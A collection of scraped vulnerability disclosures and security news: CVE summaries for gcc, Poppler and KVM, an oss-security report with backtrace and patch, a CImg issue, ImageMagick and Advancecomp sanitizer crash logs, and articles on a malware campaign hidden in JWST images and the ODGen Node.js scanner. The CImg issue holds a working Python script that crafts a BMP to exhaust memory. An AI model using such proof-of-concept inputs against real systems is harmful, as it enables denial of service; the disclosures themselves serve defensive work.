In gcc, a crafted input source file could cause g++ to crash during compilation when provided certain optimization flags. The problem resides in the ipcp_store_vr_results function in gcc/ipa-cp.c.

'93015?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2020-35537: Invalid Bug ID

In gcc, an internal compiler error in match_reload function at lra-constraints.c may cause a crash through a crafted input file.

'93027?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2020-35536: Invalid Bug ID

A NULL pointer dereference issue was found in KVM when releasing a vCPU with dirty ring support enabled. This flaw allows an unprivileged local attacker on the host to issue specific ioctl calls, causing a kernel oops condition that results in a denial of service.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[thread-next>\] \[day\] \[month\] \[year\] \[list\]

Date: Thu, 7 Apr 2022 10:15:42 +0800 (GMT+08:00)
From: kangel <kangel@....edu.cn>
To: oss-security@...ts.openwall.com
Cc: pgn@....edu.cn, qiuhao@...ec.org
Subject: Linux kernel: x86/kvm: null-ptr-deref in kvm\_dirty\_ring\_push




-----原始邮件-----
发件人:kangel <kangel@....edu.cn>
发送时间:2022-04-06 21:11:39 (星期三)
收件人: security@...nel.org, linux-distros@...openwall.org
抄送: secalert@...hat.com, pbonzini@...hat.com, pgn@....edu.cn, qiuhao@...ec.org
主题: \[vs\] x86/kvm: null-ptr-deref in kvm\_dirty\_ring\_push


Hi developers,
    We found a null-ptr-deref in the kvm module which can lead to DoS. This flaw is in kvm\_dirty\_ring\_push in virt/kvm/dirty\_ring.c. The linux kernel version is 5.17.0-rc8. We would appreciate a CVE ID if this is a security issue.
------------\[ Description \]------------
    When we call kvm\_vcpu\_release(), it will call kvm\_dirty\_ring\_free() which will free ring->dirty\_gfns and set it to NULL. Then if we can set kvm->dirty\_ring\_size != NULL\[1\] and make vcpu->arch.st.preempt to NULL\[2\], it will call kvm\_dirty\_ring\_push() and lead to null-ptr-deref in virt/kvm/dirty\_ring.c:159.
    The condition of \[1\] can be set by do ioctl$KVM\_CAP\_DIRTY\_LOG\_RING and the condition of \[2\] can be set by race of doing ioctf$KVM\_RUN.
------------\[ Reproducer \]------------
qemu run:
qemu-system-x86\_64 -m 512M -smp 2 -kernel /home/zju/linux-5.17-rc8/arch/x86/boot/bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0 nokaslr" -drive file=/home/zju/script/stretch2.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -enable-kvm -nographic 
poc.c is attached( run in qemu).
gcc poc.c -static -o poc -lpthread

------------\[ Credits \]------------
Yongkang Jia (Zhejiang University)
Gaoning Pan (Zhejiang University)
Qiuhao Li (Harbin Institute of Technology)
------------\[ Backtrace \]------------
KASAN: null-ptr-deref in range \[0x0000000000000030-0x0000000000000037\]
CPU: 0 PID: 453 Comm: syz-executor425 Not tainted 5.17.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1~cloud0 04/01/2014
RIP: 0010:kvm\_dirty\_ring\_push+0x10c/0x2e0 arch/x86/kvm/../../../virt/kvm/dirty\_ring.c:159
Code: 0f 8e 8e 01 00 00 48 b8 00 00 00 00 00 fc ff df 41 83 ec 01 44 23 65 00 49 c1 e4 04 4c 01 e3 48 8d 7b 04 48 89 fa 48 c1 ea 03 <0f> b6 14 02 48 89 f8 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 47
RSP: 0018:ffff88800812fb88 EFLAGS: 00010207
RAX: dffffc0000000000 RBX: 0000000000000030 RCX: ffffffffa5a929d4
RDX: 0000000000000006 RSI: 0000000000000000 RDI: 0000000000000034
RBP: ffff888004d12118 R08: 0000000000000001 R09: fffffbfff5104469
R10: 0000000000000000 R11: fffffbfff5104468 R12: 0000000000000030
R13: 0000000000000000 R14: 0000000000000000 R15: ffff888004d10dd0
FS:  0000000000868880(0000) GS:ffff88806d200000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020ffe010 CR3: 0000000005ba4002 CR4: 00000000003726f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
 <TASK>
 mark\_page\_dirty\_in\_slot+0x192/0x270 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:3171
 kvm\_steal\_time\_set\_preempted arch/x86/kvm/x86.c:4600 \[inline\]
 kvm\_arch\_vcpu\_put+0x34e/0x5b0 arch/x86/kvm/x86.c:4618
 vcpu\_put+0x1b/0x70 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:211
 vmx\_free\_vcpu+0xcb/0x130 arch/x86/kvm/vmx/vmx.c:6985
 kvm\_arch\_vcpu\_destroy+0x76/0x290 arch/x86/kvm/x86.c:11219
 kvm\_vcpu\_destroy arch/x86/kvm/../../../virt/kvm/kvm\_main.c:441 \[inline\]
 kvm\_destroy\_vcpus+0x119/0x280 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:460
 kvm\_free\_vcpus arch/x86/kvm/x86.c:11659 \[inline\]
 kvm\_arch\_destroy\_vm+0x22a/0x380 arch/x86/kvm/x86.c:11769
 kvm\_destroy\_vm arch/x86/kvm/../../../virt/kvm/kvm\_main.c:1217 \[inline\]
 kvm\_put\_kvm+0x3ff/0x900 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:1250
 kvm\_vcpu\_release+0x4d/0x70 arch/x86/kvm/../../../virt/kvm/kvm\_main.c:3668
 \_\_fput+0x21b/0x940 fs/file\_table.c:317
 task\_work\_run+0xde/0x180 kernel/task\_work.c:164
 tracehook\_notify\_resume include/linux/tracehook.h:188 \[inline\]
 exit\_to\_user\_mode\_loop kernel/entry/common.c:175 \[inline\]
 exit\_to\_user\_mode\_prepare+0x14d/0x150 kernel/entry/common.c:207
 \_\_syscall\_exit\_to\_user\_mode\_work kernel/entry/common.c:289 \[inline\]
 syscall\_exit\_to\_user\_mode+0x1d/0x40 kernel/entry/common.c:300
 do\_syscall\_64+0x48/0x90 arch/x86/entry/common.c:86
 entry\_SYSCALL\_64\_after\_hwframe+0x44/0xae
------------\[ Patch \]------------
We try to do a patch, which can not make the poc trigger this flaw.
diff --git a/virt/kvm/dirty\_ring.c b/virt/kvm/dirty\_ring.c.patch
index 222ecc8..38f1b66 100644
--- a/virt/kvm/dirty\_ring.c
+++ b/virt/kvm/dirty\_ring.c.patch
@@ -154,6 +154,8 @@ void kvm\_dirty\_ring\_push(struct kvm\_dirty\_ring \*ring, u32 slot, u64 offset)
        /\* It should never get full \*/
        WARN\_ON\_ONCE(kvm\_dirty\_ring\_full(ring));

+       if (!ring->dirty\_gfns)
+               return;
        entry = &ring->dirty\_gfns\[ring->dirty\_index & (ring->size - 1)\];

        entry->slot = slot;


------------\[ Cut here \]------------
C repro and kernel config are attached.
Best regards.
    Yongkang Jia of Zhejiang University

**Content of type "**text/html**" skipped**

**View attachment "**poc.c**" of type "**text/plain**" (6534 bytes)**

**Download attachment "**config**" of type "**application/octet-stream**" (130642 bytes)**

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-1263: security - Linux kernel: x86/kvm: null-ptr-deref in kvm_dirty_ring_push

A flaw was found in Clmg, where with the help of a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

**Description**

Via a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

**Version**

This does affect the newest Version of Cimg which is 3.10, commit 607aea7 as the time of writing.

**Proof of Concept**

Due to the fact that I cannot attach bmp files in this format, here is a small python script that will generate a bmp file with given dimmensions. Note that the final buffer size is calculated by multiplying the product of width and height by 3. This code snippet uses a sample value of 5 GB.

    import struct
    
    def write_size(dx,dy):
        x = struct.pack('I',dx)
        y = struct.pack('I',dy)
        
        min_bmp_head = list(
                   b'BM\xf2Y\x03\x00\x00\x00\x00\x006\x04\x00\x00(\x00\x00\x00 \
                   V\xa8\xab1\x02\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00 \
                   \xbcU\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00 \
                   \x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x03\x03'
                            )
    
        min_bmp_head[0x12] = x[0]
        min_bmp_head[0x13] = x[1]
        min_bmp_head[0x14] = x[2]
        min_bmp_head[0x15] = x[3]
    
        min_bmp_head[0x16] = y[0]
        min_bmp_head[0x17] = y[1]
        min_bmp_head[0x18] = y[2]
        min_bmp_head[0x19] = y[3]
    
        open('crash.bmp','wb').write(bytes(min_bmp_head))
    
    write_size(833333334,2) # use these two parameters to control dx and dy of the image. 833333334,2 for 5 GB
    

then read the file via standard methods:

    #define cimg_display 0
    #include "CImg.h"
    #include <iostream>
    
    int main(int argc,const char* argv[]){
    
        if (argc < 2){
            printf("no img\n");
            exit(1);
        }
    
        cimg_library::CImg<unsigned char> img;
        img.assign(argv[1]);
    }
    

The code was compiled with g++ version 9.4.0 on Ubuntu 9.4.0-1ubuntu1~20.04 via g++ test.cpp -o ./test -ljpeg -lpng

**Root cause**

_line numbers refer to main branch with commit 927fee5_

altough safe\_size (line 11771) does check for overflows of the size\_t type, it does allow very large values . One would think that the try/catch block try { _data = new T[siz]; } (line 11885) does not allow for allocations that are too big and would completely circumvent this attack but actually, allocations that are equal to the maximum available RAM of a system or even numbers that are a bit higher (I tested the 5 GB case on a 4GB RAM machine) will _not_ thorw an exception like std::bad\_alloc.

**Impact**

This vulnerability allows an attacker who can send images to an application to force an premature process exit and exhaust system memory, potentially leading to a full system denial of service.

**Prevention**

One could define a global constant that regulates the maximum value safe\_size can return. The user then could change the default value depending on context.

CVE-2022-1325: Denial of service via RAM exhaustion in _load_bmp · Issue #343 · GreycLab/CImg

A persistent Golang-based malware campaign dubbed GO#WEBBFUSCATOR has leveraged the deep field image taken from NASA's James Webb Space Telescope (JWST) as a lure to deploy malicious payloads on infected systems.
The development, revealed by Securonix, points to the growing adoption of Go among threat actors, given the programming language's cross-platform support, effectively allowing the

A persistent Golang-based malware campaign dubbed GO#WEBBFUSCATOR has leveraged the deep field image taken from NASA's James Webb Space Telescope (JWST) as a lure to deploy malicious payloads on infected systems.

The development, revealed by **Securonix**, points to the growing adoption of Go among threat actors, given the programming language's cross-platform support, effectively allowing the operators to leverage a common codebase to target different operating systems.

Go binaries also have the added benefit of rendering analysis and reverse engineering difficult as opposed to malware written in other languages like C++ or C#, not to mention prolong analysis and detection attempts.

Phishing emails containing a Microsoft Office attachment act as the entry point for the attack chain that, when opened, retrieves an obfuscated VBA macro, which, in turn, is auto-executed should the recipient enable macros.

The execution of the macro results in the download of an image file "OxB36F8GEEC634.jpg" that seemingly is an image of the First Deep Field captured by JWST but, when inspected using a text editor, is actually a Base64-encoded payload.

"The deobfuscated \[macro\] code executes \[a command\] which will download a file named OxB36F8GEEC634.jpg, use certutil.exe to decode it into a binary (msdllupdate.exe) and then finally, execute it," Securonix researchers D. Iuzvyk, T. Peck, and O. Kolesnikov said.

The binary, a Windows 64-bit executable with a size of 1.7MB, is not only equipped to fly under the radar of antimalware engines, but is also obscured by means of a technique called gobfuscation, which makes use of a Golang obfuscation tool publicly available on GitHub.

The gobfuscate library has been previously documented as used by the actors behind ChaChi, a remote access trojan employed by the operators of the PYSA (aka Mespinoza) ransomware as part of their toolset, and the Sliver command-and-control (C2) framework.

Communication with the C2 server is facilitated through encrypted DNS queries and responses, enabling the malware to run commands sent by the server through the Windows Command Prompt (cmd.exe). The C2 domains for the campaign are said to have been registered in late May 2022.

Microsoft's decision to block macros by default across Office apps has led many an adversary to tweak their campaigns by switching to rogue LNK and ISO files for deploying malware. It remains to be seen if the GO#WEBBFUSCATOR actors will embrace a similar attack method.

"Using a legitimate image to build a Golang binary with Certutil is not very common," the researchers said, adding, "it's clear that the original author of the binary designed the payload with both some trivial counter-forensics and anti-EDR detection methodologies in mind."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Hide Malware in Stunning Images Taken by James Webb Space Telescope

New graph-based tool offers a better alternative to current approaches for finding vulnerabilities in JavaScript code, they note.

Researchers at Johns Hopkins University recently uncovered a startling 180 zero-day vulnerabilities across thousands of Node.js libraries using a new code analysis tool they developed specifically for the purpose, called ODGen.

Seventy of those flaws have since received common vulnerabilities and exposures (CVE) identifiers. They include command injection flaws, path traversal vulnerabilities, arbitrary code execution issues, and cross-site scripting vulnerabilities — some of them in widely used applications.

In a paper released at the Usenix Security Symposium earlier this month, the Johns Hopkins researchers — Song Li, Mingqing Kang, Jianwei Hou, and Yinzhi Cao — described ODGen as a better alternative to current code-analysis and so-called graph query-based approaches for finding Node.js vulnerabilities.

Program analysis-based approaches have proved useful in helping detect individual vulnerability types such as code-injection flaws in JavaScript. But they cannot be easily extended to detect all kind of vulnerabilities that might be present in the Node.js platform, the researchers said. Similarly, graph-based code-analysis methods — where code is first represented as a graph and then queried for specific coding errors — works well in environments such as C++ and PHP. However, graph-based approaches are not as efficient in mining for JavaScript vulnerabilities because of the programming language's extensive use of dynamic features, they noted.

**A 'Novel' Approach for Finding JavaScript Vulnerabilities**

So, the researchers instead developed what they described as a "novel" and better method called Object Dependence Graph (ODG) that can be used for detecting Node.js vulnerabilities. They implemented ODGen to generate "ODG" for Node.js programs to detect vulnerabilities, they said.

Cao, assistant professor of computer science at Johns Hopkins University and a co-author of the research report, uses a couple of analogies to describe graph-based code analysis in general and their proposed Objective Dependence Graph. "If we consider a vulnerability as a special pattern — say, a green node connected with a red node and then a black node — a graph-based code-analysis tool first converts programs to a graph with many nodes and edges," Cao says. "Then the tool looks for such patterns in the graph to locate a vulnerability."

The Object Dependence Graph that the researchers have proposed refines this approach by representing JavaScript objects as nodes and adding features — including dependencies between objects — that are specific to the programming language, and then querying for errors. Cao describes how the method works using grains in a handful of rice: If all the grains look the same before boiling but assume two different shades after boiling — one representing good grains and the other bad grains — then it becomes easier to spot and weed out the bad grains. "Abstract interpretation is kind of like the boiling process that converts rice — that is, programs — into different colored objects" so errors are easier to spot, Cao says.

**A Variety of Bugs**

To see if their approach works, the researchers first tested ODGen against a sample of 330 previously reported vulnerabilities in Node.js packages on the node package manager (npm) repository. The test showed the scanner correctly identifying 302 of the 330 vulnerabilities. Buoyed by the relatively high accuracy rate, the researchers ran ODGen against some 300,000 Java packages in npm. The scanner reported a total of 2,964 potential vulnerabilities across the packages. The researchers checked 264 of them — all with more than 1,000 downloads per week on average — and were able to confirm 180 as being legitimate vulnerabilities. Forty-three of them were at the application level, 122 were in packages that are imported by other applications or code, and the remaining 15 were present in indirect packages.

A plurality (80) of the confirmed vulnerabilities that ODGen detected were command injection flows that allow attackers to execute arbitrary code at the operating system level via a vulnerable application. Thirty were path traversal flaws; 24 enabled code tampering, and 19 involved a specific type of command injection attack called prototype pollution.

New ODGen Tool Unearths 180 Zero-Days in Node.js Libraries

ODGen tool was presented at this year’s Usenix Security Symposium

ODGen tool was presented at this year’s Usenix Security Symposium

Researchers at Johns Hopkins University have developed a graph-based code analysis tool that can detect a wide range of vulnerabilities in JavaScript programs.

Called ODGen, the tool was presented at this year’s Usenix Security Symposium and addresses some of the challenges that limited the use of graph-based security tools in analyzing JavaScript programs.

The researchers proved the effectiveness of ODGen by applying it to thousands of Node.js libraries, where it discovered 180 zero-day vulnerabilities and received 70 CVEs.

**Graph-based methods**

Graph-based scanners parse source code files to build a graph structure that represents the different properties and execution branches of an application. This graph can then be used to model and find vulnerabilities in the source code.

Graph query-based approaches have proven to be very effective in detecting vulnerabilities in some programming languages. One technique in particular, Code Property Graph (CPG), has proven to be successful in securing C/C++ and PHP code.

**RECOMMENDED** Critical command injection vulnerability discovered in Bitbucket Server and Data Center

Inspired by the success of graph methods – particularly CPG – the researchers at Johns Hopkins University tried to apply them to JavaScript. While there are different tools for finding specific vulnerabilities in JavaScript code, graph-based tools promise to provide a general framework for detecting all kinds of vulnerabilities.

“JavaScript, particularly Node.js, is becoming a vital community with millions of packages these days,” Yinzhi Cao, co-author of the paper and assistant professor of computer science at Johns Hopkins University, told _The Daily Swig_.

“At the same time, many of these NPM packages are less maintained and vulnerabilities are prevalent in the NPM ecosystem. That is why we decided to perform the study to make the ecosystem a safer environment.”

However, their initial findings showed that CPG is not very effective in JavaScript due to the language’s dynamic structure, which makes it much more difficult to parse and analyze object relations and program branches prior to execution.

“CPG does not model detailed object relations including (i) prototype chains and (ii) object-level data flows. Therefore, it is hard to apply CPG to detect JavaScript-specific vulnerabilities, such as Prototype Pollution and Internal Property Tampering. And it is hard to model fine-grained object-level data flows in CPG,” Cao said.

**Object Dependence Graph**

In their paper, the researchers propose Object Dependence Graph (ODG) as a novel method to build graphs from JavaScript code. ODG uses some of the components of CPG, such as Abstract Syntax Trees (AST), and adds features that are specific to JavaScript, including fine-grained data dependency between objects. Accordingly, the researchers created ODGen, a tool for creating and querying ODGs.

“Our proposed ODGen abstractly interprets JavaScript code and generates a so-called Object Dependence Graph to capture such dynamic features including object relations so that a graph query-based approach can easily obtain such information and detect vulnerabilities,” Cao said.

Read more of the latest infosec research news

The researchers designed ODGen to detect vulnerabilities at application and package levels. They tested the tool on 330 documented vulnerabilities that spanned across 16 categories, including cross-site scripting (XSS), server- and client-side request forgery (SSRF/CSRF), SQL injection, prototype pollution, and command injection.

The tool was able to detect 13 types of vulnerabilities with very high accuracy, discovering 302 of the 330 bugs.

They expanded their test by crawling 300,000 NPM packages and applying ODGen with graph queries to detect queries. ODGen reported nearly 3,000 security bugs, of which the researchers verified 264 that belonged to libraries with more than 1,000 weekly downloads. They were able to confirm and report 180 security bugs, many of which were in libraries that are used widely in web applications. Of the discovered vulnerabilities, 70 were assigned CVEs.

ODGen shows how much more needs to be done to secure the open source JavaScript ecosystem and how the adaptation of existing tools can help in developing holistic approaches to securing Node.js libraries.

In the future, Cao said, the team might extend ODGen to other programming languages used in web applications, including PHP and Java.

**YOU MIGHT LIKE** Ethereum Foundation offers $1m bug bounty payouts with proof-of-stake migration multiplier

Graph-based JavaScript bug scanner discovers more than 100 zero-day vulnerabilities in Node.js libraries

Poppler prior to and including 22.08.0 contains an integer overflow in the JBIG2 decoder (JBIG2Stream::readTextRegionSeg() in JBIGStream.cc). Processing a specially crafted PDF file or JBIG2 image could lead to a crash or the execution of arbitrary code. This is similar to the vulnerability described by CVE-2022-38171 in Xpdf.

CVE-2022-38784: Poppler

A heap-buffer-overflow flaw was found in ImageMagick’s PushShortPixel() function of quantum-private.h file. This vulnerability is triggered when an attacker passes a specially crafted TIFF image file to ImageMagick for conversion, potentially leading to a denial of service.

**ImageMagick version**

7.1.0-28

**Operating system**

Linux

**Operating system, version and so on**

OS: Ubuntu 20.04.3 LTS  
Version: ImageMagick 7.1.0-28 Q16-HDRI x86\_64 2022-03-04 https://imagemagick.org  
Copyright: (C) 1999 ImageMagick Studio LLC  
License: https://imagemagick.org/script/license.php  
Features: Cipher DPC HDRI  
Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lzma pangocairo png tiff x xml zlib  
Compiler: gcc (4.2)

**Description**

Hello,  
We found a heap overflow vulnerability in magick

**Steps to Reproduce**

build it  
CC=afl-clang-lto CXX=afl-clang-lto++ CFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" LDFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" ./configure --disable-shared --prefix="/root/fuzz/target/imagemagick/ImageMagick/install"

AFL_USE_ASAN=1 make -j24 && make install -j24

run it  
./magick convert poc /dev/null  
output

\=================================================================  
\==1195823==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61900000181c at pc 0x000000cd5328 bp 0x7ffdacd61fa0 sp 0x7ffdacd61f98  
READ of size 1 at 0x61900000181c thread T0  
#0 0xcd5327 in PushShortPixel /root/fuzz/target/image\_magick/ImageMagick/./MagickCore/quantum-private.h  
#1 0xcd5327 in ImportRGBAQuantum /root/fuzz/target/image\_magick/ImageMagick/MagickCore/quantum-import.c:4232:15  
#2 0xcd5327 in ImportQuantumPixels /root/fuzz/target/image\_magick/ImageMagick/MagickCore/quantum-import.c:4780:7  
#3 0x13e73f2 in ReadTIFFImage /root/fuzz/target/imagemagick/ImageMagick/coders/tiff.c:2052:24  
#4 0x6f9981 in ReadImage /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:728:15  
#5 0x6fe991 in ReadImages /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:1075:9  
#6 0x157caa5 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:614:18  
#7 0x17191fd in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14  
#8 0x580b89 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10  
#9 0x580b89 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10  
#10 0x7f499b68b0b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16  
#11 0x4ce36d in \_start (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x4ce36d)

0x61900000181c is located 10 bytes to the right of 914-byte region \[0x619000001480,0x619000001812)  
allocated by thread T0 here:  
#0 0x54ab1d in malloc (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x54ab1d)  
#1 0x13e6faf in ReadTIFFImage /root/fuzz/target/imagemagick/ImageMagick/coders/tiff.c:1996:39  
#2 0x6f9981 in ReadImage /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:728:15  
#3 0x6fe991 in ReadImages /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:1075:9  
#4 0x157caa5 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:614:18  
#5 0x17191fd in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14  
#6 0x580b89 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10  
#7 0x580b89 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10  
#8 0x7f499b68b0b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/target/image\_magick/ImageMagick/./MagickCore/quantum-private.h in PushShortPixel  
Shadow bytes around the buggy address:  
0x0c327fff82b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
\=>0x0c327fff8300: 00 00 02\[fa\]fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
\==1195823==ABORTING

**Images**

poc.zip

CVE-2022-1115: heap-buffer-overflow in magick at quantum-private.h PushShortPixel · Issue #4974 · ImageMagick/ImageMagick

Advancecomp v2.3 contains a segmentation fault.

    AddressSanitizer:DEADLYSIGNAL
    
    ==4310==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004298a4 bp 0x000000000001 sp 0x7fffdc8dd140 T0)
    ==4310==The signal is caused by a READ memory access.
    ==4310==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
        #0 0x4298a4 in bool __sanitizer::atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t>(__sanitizer::atomic_uint8_t volatile*, __sanitizer::atomic_uint8_t::Type*, __sanitizer::atomic_uint8_t::Type, __sanitizer::memory_order) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:80
        #1 0x4298a4 in __asan::Allocator::AtomicallySetQuarantineFlagIfAllocated(__asan::AsanChunk*, void*, __sanitizer::BufferedStackTrace*) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_allocator.cpp:621
        #2 0x4298a4 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_allocator.cpp:697
        #3 0x4298a4 in __asan::asan_free(void*, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_allocator.cpp:971
        #4 0x4b1550 in free /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:128
        #5 0x52382d in mng_write_done(adv_mng_write_struct*) /home/bupt/Desktop/advancecomp/mngex.cc:709:2
        #6 0x5088ea in convert_f_mng(adv_fz_struct*, adv_fz_struct*, unsigned int*, unsigned int*, adv_scroll_info_struct*, bool, bool) /home/bupt/Desktop/advancecomp/remng.cc:524:3
        #7 0x4fbd7d in convert_mng(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/bupt/Desktop/advancecomp/remng.cc:593:3
        #8 0x4fc3dd in convert_mng_inplace(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/bupt/Desktop/advancecomp/remng.cc:614:3
        #9 0x4ffc08 in remng_single(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, unsigned long long&, unsigned long long&) /home/bupt/Desktop/advancecomp/remng.cc:950:4
        #10 0x50b705 in remng_all(int, char**) /home/bupt/Desktop/advancecomp/remng.cc:985:3
        #11 0x5102d4 in process(int, char**) /home/bupt/Desktop/advancecomp/remng.cc:1249:3
        #12 0x511a98 in main /home/bupt/Desktop/advancecomp/remng.cc:1268:3
        #13 0x7fcbd84a9c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
        #14 0x41f289 in _start (/home/bupt/Desktop/advancecomp/advmng+0x41f289)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:80 in bool __sanitizer::atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t>(__sanitizer::atomic_uint8_t volatile*, __sanitizer::atomic_uint8_t::Type*, __sanitizer::atomic_uint8_t::Type, __sanitizer::memory_order)
    ==4310==ABORTING
    

    SUMMARY: AddressSanitizer: SEGV /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:80 in bool __sanitizer::atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t>(__sanitizer::atomic_uint8_t volatile*, __sanitizer::atomic_uint8_t::Type*, __sanitizer::atomic_uint8_t::Type, __sanitizer::memory_order)

Tag

#c++